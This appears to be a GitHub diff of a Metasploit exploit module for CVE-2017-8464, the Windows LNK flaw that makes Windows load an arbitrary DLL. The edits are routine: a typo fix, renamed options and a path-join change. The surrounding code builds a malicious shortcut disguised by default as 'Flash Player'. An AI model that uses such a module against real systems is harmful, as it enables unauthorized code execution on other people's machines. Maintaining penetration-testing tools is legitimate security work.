@@ -26,7 +26,7 @@ def initialize(info = {})
26
26
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
27
27
DLL file.
28
28
29
- If not PATH is specified, the module will use drive letters D through Z so the files
29
+ If no PATH is specified, the module will use drive letters D through Z so the files
30
30
may be placed in the root path of a drive such as a shared VM folder or USB drive.
31
31
} ,
32
32
'Author' =>
@@ -77,14 +77,14 @@ def initialize(info = {})
77
77
register_advanced_options (
78
78
[
79
79
OptBool . new ( 'DisablePayloadHandler' , [ false , 'Disable the handler code for the selected payload' , true ] ) ,
80
- OptString . new ( 'LNK_COMMENT ' , [ true , 'The comment to use in the generated LNK file' , 'Manage Flash Player Settings' ] ) ,
81
- OptString . new ( 'LNK_DISPLAY_NAME ' , [ true , 'The display name to use in the generated LNK file' , 'Flash Player' ] )
80
+ OptString . new ( 'LnkComment ' , [ true , 'The comment to use in the generated LNK file' , 'Manage Flash Player Settings' ] ) ,
81
+ OptString . new ( 'LnkDisplayName ' , [ true , 'The display name to use in the generated LNK file' , 'Flash Player' ] )
82
82
]
83
83
)
84
84
end
85
85
86
86
def exploit
87
- path = ::File . join ( Msf ::Config . data_directory , 'exploits/ cve-2017-8464' )
87
+ path = ::File . join ( Msf ::Config . data_directory , 'exploits' , ' cve-2017-8464')
88
88
arch = target [ 'Arch' ] == ARCH_ANY ? payload . arch . first : target [ 'Arch' ]
89
89
datastore [ 'EXE::Path' ] = path
90
90
datastore [ 'EXE::Template' ] = ::File . join ( path , "template_#{ arch } _windows.dll" )
@@ -117,8 +117,8 @@ def exploit
117
117
def generate_link ( path )
118
118
vprint_status ( "Generating LNK file to load: #{ path } " )
119
119
path << "\x00 "
120
- display_name = datastore [ 'LNK_DISPLAY_NAME ' ] . dup << "\x00 " # LNK Display Name
121
- comment = datastore [ 'LNK_COMMENT ' ] . dup << "\x00 "
120
+ display_name = datastore [ 'LnkDisplayName ' ] . dup << "\x00 " # LNK Display Name
121
+ comment = datastore [ 'LnkComment ' ] . dup << "\x00 "
122
122
123
123
# Control Panel Applet ItemID with our DLL
124
124
cpl_applet = [
0 commit comments